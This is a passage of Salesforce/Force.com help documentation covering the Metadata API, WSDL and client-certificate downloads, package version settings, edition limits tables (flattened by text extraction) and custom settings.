Use the Metadata API to retrieve, deploy, create, update or delete customization information, such as custom object definitions and page layouts, for your organization. The most common usage is to migrate changes from a sandbox or testing organization to your production organization. The Metadata API is intended for managing customizations and for building tools that can manage the metadata model, not the data itself. To create, retrieve, update or delete records, such as accounts or leads, use the API to manage your data. The easiest way to access the functionality in the Metadata API is to use the Force.com IDE or Force.com Migration Tool. These tools are built on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working with the Metadata API. Built on the Eclipse platform, the Force.com IDE provides a comfortable environment for programmers familiar with integrated development environments, allowing you to code, compile, test, and deploy all from within the IDE itself. The Force.com Migration Tool is ideal if you want to use a script or a command-line utility for moving metadata between a local directory and a Salesforce organization.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates Web Services API Developer's Guide Metadata API Developer's Guide Bulk API Developer's Guide

Downloading Salesforce WSDLs and Client Authentication Certificates


Available in: Professional, Enterprise, Developer, and Database.com Editions

User Permissions Needed To download a WSDL: Customize Application

You can download a Web Services Description Language (WSDL) document to integrate your applications with Database.com using the API. The following WSDLs are available: Enterprise WSDL - Use this WSDL document to build an integration for a single organization.The enterprise WSDL is strongly typed, which means that it contains objects and fields with specific data types, such as int and string. Customers who use the enterprise WSDL document must download and re-consume it whenever their organization makes a change to its custom objects or fields or whenever they want to use a different version of the API. Partner WSDL - Use this WSDL to build an integration that can work across multiple Salesforce organizations, regardless of their custom objects or fields. Typically partners and ISVs use this WSDL. It is loosely typed, which means that you work with name-value pairs of field names and values instead of specific data types. The partner WSDL document only needs to be downloaded and consumed once per version of the API. Apex WSDL - Use this WSDL to run or compile Apex in another environment. See the Force.com Apex Code Developer's Guide for details.

1894

Develop

Downloading Salesforce WSDLs and Client Authentication Certificates

Metadata WSDL - Use this WSDL to to migrate configuration changes between organizations or work with the customizations in your organization as XML metadata files. See the Force.com Metadata API Developer's Guide for details.

To download a WSDL document: 1. Click Your Name > Setup > Develop > API. 2. Download the appropriate WSDL: If you are downloading an enterprise WSDL and you have managed packages installed in your organization, click Generate Enterprise WSDL. Salesforce prompts you to select the version of each installed package to include in the generated WSDL. Otherwise, right-click the link for the appropriate WSDL document to save it to a local directory. In the right-click menu, Internet Explorer users can choose Save Target As, while Mozilla Firefox users can choose Save Link As.

3. On your computer, import the local copy of the WSDL document into your development environment. Note: You can also select the default package versions without downloading a WSDL in the Package Version Settings section. Optionally, you can download a certificate to authenticate salesforce.com organizations. Use this certificate for workflow outbound messaging. This certificate is meant to identify that the request is coming from salesforce.com, not a specific user. If you want to use certificates to ensure secure connections using other Salesforce features, such as Apex callouts, use Salesforce certificates and key pairs. Click Your Name > Setup > Develop > API, and on the WSDL Download page, right-click Download Client Certificate and save it to an appropriate location. You can then import the downloaded certificate into your application server, and configure your application server to request the client certificate.

See Also:
What are the Force.com APIs? Defining Custom S-Controls Force.com API Usage Limits Managing Packages Configuring Default Package Versions for API Calls Documentation Resources for Force.com Developers

Generating an Enterprise WSDL with Managed Packages

1895

Develop

Downloading Salesforce WSDLs and Client Authentication Certificates

Available in: Enterprise, Unlimited, and Developer, Editions

User Permissions Needed To download a WSDL: Customize Application

If you are downloading an enterprise WSDL and you have managed packages installed in your organization, you need to take an extra step to select the version of each installed package to include in the generated WSDL. The enterprise WSDL is strongly typed, which means that it contains objects and fields with specific data types, such as int and string. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. A subscriber can select a package version for each installed managed package to allow their API client to continue to function with specific, known behavior even when they install subsequent versions of a package. Each package version can have variations in the composition of its objects and fields, so you must select a specific version when you generate the strongly typed WSDL. To download an enterprise WSDL when you have managed packages installed: 1. Click Your Name > Setup > Develop > API. 2. Click Generate Enterprise WSDL. 3. Select the Package Version for each of your installed managed packages. If you are unsure which package version to select, you should leave the default, which is the latest package version. 4. Click Generate. 5. Use the File menu in your browser to save the WSDL to your computer. 6. On your computer, import the local copy of the WSDL document into your development environment. Note the following in your generated enterprise WSDL: Each of your managed package version selections is included in a comment at the top of the WSDL. The generated WSDL contains the objects and fields in your organization, including those available in the selected versions of each installed package. If a field or object is added in a later package version, you must generate the enterprise WSDL with that package version to work with the object or field in your API integration. The SOAP endpoint at the end of the WSDL contains a URL with a format of serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 23.0, and ID encodes your package version selections when you communicate with Salesforce.

You can also select the default package versions for the enterprise WSDL without downloading a WSDL in the Package Version Settings section of Your Name > Setup > Develop > API. Default package versions for API calls provide fallback

1896

Develop

Configuring Default Package Versions for API Calls

settings if package versions are not provided by an API call. Many API clients do not include package version information, so the default settings maintain existing behavior for these clients.

See Also:
What are the Force.com APIs? Downloading Salesforce WSDLs and Client Authentication Certificates Configuring Default Package Versions for API Calls Managing Packages About Package Versions Documentation Resources for Force.com Developers Web Services API Developer's Guide

Configuring Default Package Versions for API Calls


Available in: Enterprise, Unlimited, Developer, Editions

User Permissions Needed To configure default package versions for API calls: Customize Application

A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. Default package versions for API calls provide fallback settings if package versions are not provided by an API call. Many API clients do not include package version information, so the default settings maintain existing behavior for these clients. You can specify the default package versions for enterprise API and partner API calls. The enterprise WSDL is for customers who want to build an integration with their Salesforce organization only. It is strongly typed, which means that calls operate on objects and fields with specific data types, such as int and string. The partner WSDL is for customers, partners, and ISVs who want to build an integration that can work across multiple Salesforce organizations, regardless of their custom objects or fields. It is loosely typed, which means that calls operate on name-value pairs of field names and values instead of specific data types. You must associate the enterprise WSDL with specific package versions to maintain existing behavior for clients. There are options for setting the package version bindings for an API call from client applications using either the enterprise or partner WSDL. The package version information for API calls issued from a client application based on the enterprise WSDL is determined by the first match in the following settings. 1. The PackageVersionHeader SOAP header. 2. The SOAP endpoint contains a URL with a format of serverName/services/Soap/c/api_version/ID where api_version is the version of the API, such as 23.0, and ID encodes your package version selections when the enterprise WSDL was generated. 3. The default enterprise package version settings.

1897

Develop

Salesforce Editions and Limits

The partner WSDL is more flexible as it is used for integration with multiple organizations. If you choose the Not Specified option for a package version when configuring the default partner package versions, the behavior is defined by the latest installed package version. This means that behavior of package components, such as an Apex trigger, could change when a package is upgraded and that change would immediately impact the integration. Subscribers may want to select a specific version for an installed package for all partner API calls from client applications to ensure that subsequent installations of package versions do not affect their existing integrations. The package version information for partner API calls is determined by the first match in the following settings. 1. The PackageVersionHeader SOAP header. 2. An API call from a Visualforce page uses the package versions set for the Visualforce page. 3. The default partner package version settings. To configure default package versions for API calls: 1. Click Your Name > Setup > Develop > API. 2. Click Configure Enterprise Package Version Settings or Configure Partner Package Version Settings. These links are only available if you have at least one managed package installed in your organization. 3. Select a Package Version for each of your installed managed packages. If you are unsure which package version to select, you should leave the default selection. 4. Click Save. Note: Installing a new version of a package in your organization does not affect the current default settings.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates Managing Packages About Package Versions Documentation Resources for Force.com Developers Web Services API Developer's Guide

Salesforce Editions and Limits


Use the following tables to determine the maximum number of items supported in each Salesforce Edition. Salesforce Features and Editions Limits Analytics Limits Additional Custom Field Limits Salesforce Knowledge Limits Rules Limits Workflow and Approvals Limits

1898

Develop

Salesforce Editions and Limits

Salesforce Features and Editions Limits


Feature Action Plans: Maximum Number of Tasks Active Lookup Filters Active Validation Rules Personal Edition N/A Contact Manager N/A Group Edition N/A Professional Enterprise Edition Edition N/A 75 Unlimited Edition 75 Developer Edition 75

5 per object 5 per object 5 per object 5 per object 5 per object 5 per object 5 per object N/A 20 per object 5 MB 20 per object 5 MB 20 per object 100 per object 5 MB 5 MB 500 per object 5 MB 100 per object 5 MB

Attachments: Maximum N/A Size of Attachment in the Notes & Attachments Related List1 Categories: Maximum N/A Default Number of Categories and Hierarchy Levels Category Groups: Maximum Default Number of Category Groups Certificates: Maximum Number of Certificates Content Deliveries: Default Delivery Bandwidth per Rolling 24-hour Window Content Deliveries: Default Delivery View Counts per Rolling 24-hour Window Content Deliveries: Maximum File Size for Online Viewing Content: Maximum File Size N/A

N/A

N/A

N/A

100 categories

100 categories

100 categories

N/A

N/A

N/A

5 category groups and 3 active category groups 50 1 GB

5 category groups and 3 active category groups 50 1 GB

5 category groups and 3 active category groups 50 1 GB

N/A 1 GB

N/A 1 GB

N/A 1 GB

N/A 1 GB

20,000

20,000

20,000

20,000

20,000

20,000

20,000

25 MB

25 MB

25 MB

25 MB

25 MB

25 MB

25 MB

For all editions: 2 GB 10 MB for Google Docs 10 MB for email attachments 38 MB when uploaded via the API 10 MB when uploaded via Visualforce 2,000 2,000 2,000 2,000 2,000 2,000

Content: Maximum Number of Libraries

2,000

1899

Develop

Salesforce Editions and Limits

Feature Content: Maximum Number of Content Documents

Personal Edition 500,000

Contact Manager 500,000

Group Edition 500,000

Professional Enterprise Edition Edition 500,000 500,000

Unlimited Edition 500,000

Developer Edition 500,000

Content: Maximum 5,000 Number of Content Documents and Versions in a 24hour Period (Adjustable) Content Packs: Maximum N/A Number of Files Custom Apps (The custom apps contained in a managed package in a trial state or the managed package of a native application in any state don't count against the limits supported for your Salesforce Edition.) Custom Fields (Additional restrictions apply for activities, long text area fields, relationship fields, and roll-up summary fields. For more information, see Additional Custom Field Limits.) Custom Labels N/A

5,000

5,000

5,000

5,000

5,000

5,000

50 1

50 1

50 5

50 10

50 Unlimited

50 10

5 per object 25 per object

100 per object

100 per object

500 per object

800 per object

500 per object

N/A

N/A 1,024 characters

N/A 1,024 characters

5,000 1,024 characters

5,000 1,024 characters

5,000 1,024 characters

5,000 1,024 characters

Custom Links: Maximum 1,024 Length of Link Label characters

Custom Links: Maximum 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 3,000 bytes2 Length of Link URL Custom Objects (The custom objects contained in a managed package in a trial state or the managed package of a native application in any state don't count against the limits supported for your Salesforce Edition.) N/A 5 50 50 200 2,000 400

1900

Develop

Salesforce Editions and Limits

Feature Custom Objects: Maximum Number of Master-Detail Relationships

Personal Edition N/A

Contact Manager 23

Group Edition 23

Professional Enterprise Edition Edition 23 23

Unlimited Edition 23

Developer Edition 23

Custom Objects: Deletion N/A of Parent Records in a Many-to-Many Relationship

In a many-to-many relationship, a user can't delete a parent record if more than 200 junction object records are associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. The lesser of N/A 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300 N/A The lesser of 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300 The lesser of 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300 The lesser of 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization 300

Custom Settings: Cached The lesser of N/A Data Limit 10 MB or 1 MB multiplied by the number of full-featured user licenses in your organization Custom Settings: 300 Maximum Number of Fields Per Custom Setting Divisions: Maximum Number of Divisions N/A N/A

N/A 20 KB 5 MB

N/A 20 KB 5 MB

100 20 KB 5 MB

100 20 KB 5 MB

100 20 KB 5 MB

N/A 20 KB 5 MB

Documents: Maximum 20 KB Size of Custom App Logo Documents: Maximum Size of Document to Upload 5 MB

Documents: Maximum 255 File Name Size (Including characters File Extension Name) Entitlement Processes and N/A Milestones

255 characters N/A

255 characters N/A

255 characters N/A

255 characters

255 characters

255 characters

For Enterprise, Developer, and Unlimited Editions, you can have: 20 Entitlement processes 10 Milestones for each entitlement process Contact salesforce.com for information on increasing the number of entitlement processes and milestones.

Email to Salesforce: Email 32 KB Body Truncation Size Email to Salesforce: Maximum Number of 50

32 KB 50

32 KB 50

32 KB 50

32 KB 50

32 KB 50

32 KB 50

1901

Develop

Salesforce Editions and Limits

Feature Email Activities Created for Each Email Received

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Unlimited Edition

Developer Edition

Email to Salesforce: 5 MB Maximum Size of a Single File Attachment Email to Salesforce: Total 10 MB Maximum Size of File Attachments Email Services: Maximum N/A Number of Email Messages Processed (Includes limit for On-Demand Email-to-Case) Email Services: Maximum N/A Size of Email Message (Body and Attachments) Email-to-Case: Maximum N/A Number of Emails Converted per Day Events: Maximum N/A Number of Invitees and Resources for Single-Occurrence Events Events: Maximum Number of Invitees and Resources for Recurring Events Extended Mail Merge: Maximum Number of Records Extended Mail Merge: Maximum Total Size of Selected Templates N/A

5 MB

5 MB

5 MB

5 MB

5 MB

5 MB

10 MB

10 MB

10 MB

10 MB

10 MB

10 MB

N/A

N/A

N/A

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB4

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB4

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 10 MB4

N/A

N/A

N/A

N/A

N/A

2,500

2,500

2,500

2,500

1,000

1,000

1,000

1,000

1,000

1,000

100

100

100

100

100

100

1,000

1,000

1,000

1,000

1,000

1,000

1,000

1 MB

1 MB

1 MB

1 MB

1 MB

1 MB

1 MB

Field History Tracking: N/A Maximum Number of Standard or Custom Fields Tracked for Standard or Custom Objects Files: Maximum File Size 100 MB in Chatter and on the Files Tab.

20

20

20

20

20

20

100 MB

100 MB

100 MB

100 MB

100 MB

100 MB

1902

Develop

Salesforce Editions and Limits

Feature

Personal Edition

Contact Manager 250

Group Edition 250

Professional Enterprise Edition Edition 250 250

Unlimited Edition 250

Developer Edition 250

Fiscal Years: Maximum 250 Number of Custom Fiscal Years Visual Workflow N/A

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited Editions, each flow can have up to: 10 versions 2000 steps Each organization can have up to: 500 active flows 1000 flows total

The maximum size of an uploaded flow file is 3 MB. Formulas: Maximum Number of Characters Formulas: Maximum Number of Displayed Characters After an Evaluation of a Formula Expression Formulas: Maximum Formula Size (in Bytes) When Saved Formulas: Maximum Formula Size (in Bytes) When Compiled 3,900 characters 1,300 characters 3,900 characters 1,300 characters 3,900 characters 1,300 characters 3,900 characters 1,300 characters 3,900 characters 1,300 characters 3,900 characters 1,300 characters 3,900 characters 1,300 characters

4,000 bytes 4,000 bytes 4,000 bytes 4,000 bytes

4,000 bytes 4,000 bytes 4,000 bytes

5,000 bytes 5,000 bytes 5,000 bytes 5,000 bytes

5,000 bytes 5,000 bytes 5,000 bytes

Formulas: Number of 10 Unique Relationships Per Object Formulas: VLOOKUP Functions 10 per object

10

10

10

10

10

10

10 per object N/A N/A 10,0005

10 per object N/A N/A 10,0005

10 per object 10 per object 32 KB 4 KB 10,0005 32 KB 4 KB 10,0005

10 per object 32 KB 4 KB 10,0005

10 per object 32 KB 4 KB 10,0005

Ideas: Maximum Size of N/A HTML Idea Description Ideas: Maximum Size of HTML Idea Comment N/A

Master-Detail 10,0005 Relationship: Maximum Number of Child Records Objects: Maximum Number of Deleting 100,000

100,000

100,000

100,000

100,000

100,000

100,000

1903

Develop

Salesforce Editions and Limits

Feature Combined Objects and Child Records

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Unlimited Edition

Developer Edition

On-Demand N/A Email-to-Case: Maximum Email Attachment Size On-Demand N/A Email-to-Case: Maximum Number of Email Messages Processed (Counts toward limit for Email Services) Permission sets Quote PDF: Maximum Logo Size Quote PDF: Maximum Logo Height Recycle Bin: Maximum Number of Records N/A N/A N/A 250 times your storage capacity in MBs N/A

N/A

N/A

10 MB

10 MB

10 MB

10 MB

N/A

N/A

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 N/A 5 MB 150 pixels 250 times your storage capacity in MBs

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 1,000 5 MB 150 pixels 250 times your storage capacity in MBs

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 1,000 5 MB 150 pixels 250 times your storage capacity in MBs

Number of user licenses multiplied by 1,000, up to a daily maximum of 1,000,000 1,000 5 MB 150 pixels 250 times your storage capacity in MBs

N/A N/A N/A 250 times your storage capacity in MBs N/A

N/A N/A N/A 250 times your storage capacity in MBs N/A

Sharing Rules

For Professional, Enterprise, Unlimited, and Developer Editions, administrators can create up to 300 sharing rules per object, including up to 50 criteria-based rules. A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 10 A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 25 A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. Unlimited A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 100

Static Resources

N/A

A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total.

A single static resource can be up to 5 MB in size. An organization can have up to 250 MB of static resources, total. 5

Tabs (The custom tabs contained in a managed package in a trial state or the managed package of a native application in any state don't count against

N/A

1904

Develop

Salesforce Editions and Limits

Feature the limits supported for your Salesforce Edition.) Tags

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Unlimited Edition

Developer Edition

For all editions, a user is limited to a maximum of: 500 unique personal tags 5,000 instances of personal tags applied to records

Across all users, your organization can have a maximum of: Territories: Maximum Number of Account Assignment Rules 1,000 unique public tags 50,000 instances of public tags applied to records 5,000,000 instances of personal and public tags applied to records N/A N/A N/A 15 15 15

N/A

Users: Maximum Number 1 of Users Created Web-to-Case: Maximum N/A Number of New Cases Generated in a 24hour Period Web-to-Lead: Maximum N/A Number of New Leads Generated in a 24hour Period
1

5 N/A

10 N/A

Unlimited 5,0006

Unlimited 5,0006

Unlimited 5,0006

2 5,0006

N/A

N/A

5006

5006

5006

5006

You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.
2

When data is substituted for the tokens in the URL, the link may exceed 3,000 bytes. Your browser may enforce additional limits for the maximum URL length.
3 4 5 6

Each relationship is included in the maximum number of custom fields allowed. The maximum size of email messages for Email Services varies depending on language and character set. As a best practice, don't exceed 10,000 child records for a master-detail relationship.

If your organization exceeds its daily Web-to-Case or Web-to-Lead limit, the default case owner or default lead creator receives a notification email containing information about the case or lead. When your organization reaches the 24hour limit, salesforce.com stores additional requests in a pending request queue that contains both Web-to-Case and Web-to-Lead requests. The requests are submitted when the limit refreshes. The pending request queue has a limit of 50,000 combined requests. If your organization reaches the pending request limit, additional requests are rejected and not queued. Your administrator receives email notifications for the first five rejected submissions. Contact salesforce.com Customer Support to change your organization's pending request limit.

1905

Develop

Salesforce Editions and Limits

Analytics Limits
Note: Additional dynamic dashboards, scheduled reports, scheduled dashboards, and scheduled analytic snapshots may be available for purchase. Contact your salesforce.com representative for information.

Feature Field Filters per Report Formulas per Report Scheduled Reports (Emailed reports can be up to 10 MB.)

Personal Edition N/A N/A N/A

Contact Manager N/A N/A N/A

Group Edition 5 5 N/A

Professional Enterprise Edition Edition 5 5 10 5

Unlimited Edition 10 5

Developer Edition 10 5 200 with a maximum of one per hour during off-peak hours only1 (Limited to three preferred start times, which can't be changed)

200 with a 200 with a 200 with a maximum of maximum of maximum of one per hour one per hour two per hour during off-peak hours only1 (Limited to three preferred start times, which can't be changed)

Dynamic Dashboards

N/A

N/A

N/A

N/A

Up to five Up to 10 per Up to three per organization per organization organization 200 with a 200 with a N/A maximum of maximum of one per hour two per hour 200 2,000 400

Scheduled Dashboard Refreshes Custom Report Types (Limits apply to all custom report types regardless of development status.) Analytic Snapshots

N/A

N/A

N/A

N/A

N/A

N/A

N/A

50

N/A

N/A

N/A

200 with a 200 with a 200 with a maximum of maximum of maximum of one per hour one per hour two per hour during off-peak hours only1 (Limited to one preferred start time per day, which can't be changed)

200 with a maximum of one per hour during off-peak hours only1 (Limited to one preferred start time per day, which can't be changed)

1906

Develop

Salesforce Editions and Limits

Off-peak hours are between 6pm and 3am local time.

The following analytics limits apply to all supported editions. Report Limits The report builder preview shows a maximum of 20 rows for summary and matrix reports, and 50 rows for tabular. You can't have more than 250 groups or 4,000 values in a chart. If you see an error message saying that your chart has too many groups or values to plot, adjust the report filters to reduce the number. In combination charts, all groups and values count against the total. Reports display a maximum of 2,000 rows. To view all the rows, export the report to Excel or use the printable view for tabular and summary reports. Summary and matrix reports display the first 2,000 groupings when Show Details is disabled. Matrix reports display a maximum of 400,000 summarized values. Matrix reports display a maximum of 2,000 groupings in the vertical axis when Show Details is disabled. If there are more than 400,000 summarized values, rows are removed until the 2,000 groupings limit is met, then columns are removed until the number of summarized values moves below 400,000. Dashboard Limits Each dashboard can have up to 20 components. A dashboard table or chart can display up to 20 photos. You must wait at least one minute between dashboard refreshes.

Report Type Limits A custom report type can contain up to 60 object references. For example, if you select the maximum limit of four object relationships for a report type, then you could select fields via lookup from an additional 56 objects. However, users will receive an error message if they run a report from a custom report type and the report contains columns from more than 20 different objects. You can add up to 1000 fields to each custom report type.

Analytic Snapshot Limits The maximum number of rows you can insert into a custom object is 2,000. The maximum number of runs you can store is 200. The maximum number of source report columns you can map to target fields is 100.

Additional Custom Field Limits


The number of custom fields allowed per object varies according to your Salesforce Edition. The maximum number of activities, long text area fields, rich text area fields, relationship fields, and roll-up summary fields varies as well. The following table shows the maximum limits for each custom field type and edition. Custom Field Personal Limits Edition Activities Contact Manager Group Edition Professional Edition Enterprise Edition 100 Developer Edition 100 Unlimited Edition 100

No additional No additional No additional 20 limit limit limit

1907

Develop

Salesforce Editions and Limits

Custom Field Personal Limits Edition Long Text Area Fields Rich Text Area Fields Relationship Fields Roll-up Summary Fields

Contact Manager

Group Edition

Professional Edition

Enterprise Edition

Developer Edition

Unlimited Edition

There are no limits to the number of rich text area and long text area fields that an object can contain, although your Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies. Each object can contain a total of 1.6 million characters across long text area and rich text area fields. The default character limit for long text area and rich text area fields is 32,768 characters. A long text area or rich text area field needs to contain at least 256 characters. No additional 25 limit No additional 10 limit 25 10 25 10 25 10 25 10 25 10

Salesforce Knowledge Limits


Salesforce Personal Knowledge Limits Edition Article amount Article size N/A N/A Contact Manager N/A N/A Group Edition N/A N/A Professional Enterprise Edition Edition N/A N/A Developer Edition Unlimited Edition

For Enterprise, Developer, and Unlimited Editions, you can have up to 10,000 articles. For Enterprise, Developer, and Unlimited Editions, each article can be up to 10 KB, excluding file field contents. For Enterprise, Developer, and Unlimited Editions, you can have up to 100 article types. File fields are counted as Attachments and can be up to 5 MB The import .zip file must meet the following requirements: There can only be one .csv file and one .properties file. The .csv file and the .properties file must be in the root directory. The compression process must preserve the folder and subfolder structure. The .zip file cant exceed 10 MB and the uncompressed files cant exceed 100 MB. .csv files cant have more than 10,000 rows, including the header row. .csv file rows cant exceed 400,000 characters. .csv file cells cant exceed 32 KB.

Article types

N/A

N/A

N/A

N/A

File field Article import

N/A N/A

N/A N/A

N/A N/A

N/A N/A

1908

Develop

Salesforce Editions and Limits

Salesforce Personal Knowledge Limits Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Developer Edition

Unlimited Edition

Each article in the .csv file cant have more than 49 translations.

Active data category N/A groups Categories per data N/A category group Data category group N/A hierarchy Data categories N/A from a data category group assigned to an article

N/A

N/A

N/A

For Enterprise, Developer, and Unlimited Editions you can have up to three active data category groups. For Enterprise, Developer, and Unlimited Editions you can have up to 100 data categories per data category group. For Enterprise, Developer, and Unlimited Editions you can have up to five levels in your data category group hierarchy. For Enterprise, Developer, and Unlimited Editions you can assign up to eight data categories from one category group to an article.

N/A

N/A

N/A

N/A

N/A

N/A

N/A

N/A

N/A

Rules Limits
Different types of rules can have restrictions, depending on your Salesforce edition. The following table shows the restrictions for each edition. Restrictions Active Rules (Limits apply to any combination of active workflow, assignment, auto-response, and escalation rules. Total Rules Allowed (Limits apply to any combination of workflow, assignment, auto-response, and escalation rules, both N/A N/A N/A 300 per object 300 per object 300 per object 300 per object 1,000 per organization 1,000 per organization 1,000 per organization 1,000 per organization Personal Edition N/A Contact Manager N/A Group Edition N/A Professional Edition 50 per object Enterprise Edition 50 per object Developer Edition 50 per object Unlimited Edition 50 per object

1909

Develop

Salesforce Editions and Limits

Restrictions active and inactive.)

Personal Edition

Contact Manager

Group Edition

Professional Edition

Enterprise Edition

Developer Edition

Unlimited Edition

Assignment, N/A Auto-response, and Escalation Rules

N/A

N/A

For Professional, Enterprise, Developer, and Unlimited Editions, each assignment, auto-response, and escalation rule can have: 3,000 rule entries 300 formula criteria rule entries 25 filter criteria per rule entry 200 200 200 200

Total Actions N/A Allowed Per Rule

N/A

N/A

Workflow and Approvals Limits


Workflow and Approvals Limits Personal Edition Contact Manager N/A Group Edition N/A Professional Enterprise Edition Edition N/A Developer Edition Unlimited Edition

Approval Processes N/A

For Enterprise, Developer, and Unlimited Editions, each approval process can have up to: 15 steps per process 25 approvers per step Each organization can have up to: 500 approval processes per object 1,000 processes per organization

Approval Request N/A Comments: Maximum Number of Characters Workflow Rules and Approval Processes N/A

N/A

N/A

N/A

Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333 characters. For Enterprise, Developer, and Unlimited Editions, each workflow rule and approval process can have: 10 time triggers 40 immediate actions 40 time-dependent actions per time trigger Note that for both immediate and time-dependent actions, there can be no more than: 10 email alerts 10 tasks 10 field updates

N/A

N/A

N/A

1910

Develop

Custom Settings Overview

Workflow and Approvals Limits

Personal Edition

Contact Manager

Group Edition

Professional Enterprise Edition Edition

Developer Edition

Unlimited Edition

10 outbound messages 50 1,000

Workflow Time N/A Triggers Per Hour (For more information, see Time-Dependent Action and Time Trigger Considerations on page 1646.) Workflow Emails Per Day (For more information, see Workflow Daily Email Limit on page 1653.) N/A

N/A

N/A

N/A

500

N/A

N/A

N/A

1,000 per standard Salesforce license

1,000 per standard Salesforce license

1,000 per standard Salesforce license

2,000,000 2,000,000 per 2,000,000 per organization per organization organization

See Also:
Monitoring Resources Force.com API Usage Limits Customer Portal Setup Limits Salesforce.com Limits Quick Reference

Custom Settings Overview


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, Apex, and the Web services API.

1911

Develop

Custom Settings Overview

There are two types of custom settings: List Custom Settings A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits. Hierarchy Custom Settings A type of custom setting that uses a built-in hierarchical logic that lets you personalize settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or lowest, value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings. The following examples illustrate how you can use custom settings: A Salesforce partner has created a shipping application that requires users to fill in the country codes for international deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the database. A Salesforce partner has created an application to calculate and track compensation for its sales reps, but commission percentages are based on seniority. By creating a hierarchy setting, the administrator can associate a different commission percentage for each profile in the sales organization. Within the application, one formula field can then be used to correctly calculate compensation for all users; the personalized settings at the profile level inserts the correct commission percentage. A Salesforce partner has created an application that displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the Sales Rep profile.

Follow these steps to create and use custom settings: 1. 2. 3. 4. Create the custom setting. Add fields to the custom setting. Add data and set the access level for the custom setting data. Reference the custom setting data in your application, using formula fields, validation rules, Apex, or the Web services API.

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility setting. Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the custom settings using a standard Apex or API script run by the subscribing organization after they have installed the package.

Managing Custom Settings


Click New to create a new custom setting. After you create a custom setting, you must add fields to it. After you create a custom setting, you can do any of the following: Click Edit next to the name of a custom setting to change the name, label, or description of a custom setting. Click Del to delete a custom setting.

1912

Develop

Custom Settings Overview

Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete a custom setting installed from a managed package. Click Manage to add data to a custom setting. You should add fields before you add data.

See Also:
Accessing Custom Settings Custom Settings Limits Defining Custom Settings Viewing Custom Settings

Custom Settings Limits


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

Salesforce imposes these limits on the amount of cached data and on custom settings: The total amount of cached data allowed for your organization is the lesser of these two values: 10 MB 1 MB multiplied by the number of full-featured user licenses in your organization For example, if your organization has three full licenses, you have 3 MB of custom setting storage. If your organization has six full licenses, you have 10 MB of storage. 300 fields per custom setting. You cannot share a custom setting object or record. No owner is assigned when a custom setting is created, so the owner cannot be changed. Custom settings are a type of custom object. Each custom setting counts against the total number of custom objects available for your organization. For information about the number of custom objects available based on edition, see Salesforce Editions and Limits on page 1898.

1913

Develop

Custom Settings Overview

To see how much custom settings data your organization is using, click Your Name > Setup > Develop > Custom Settings. This page also details how much resource each custom setting uses, including the number of records and the size of the custom setting definition.

See Also:
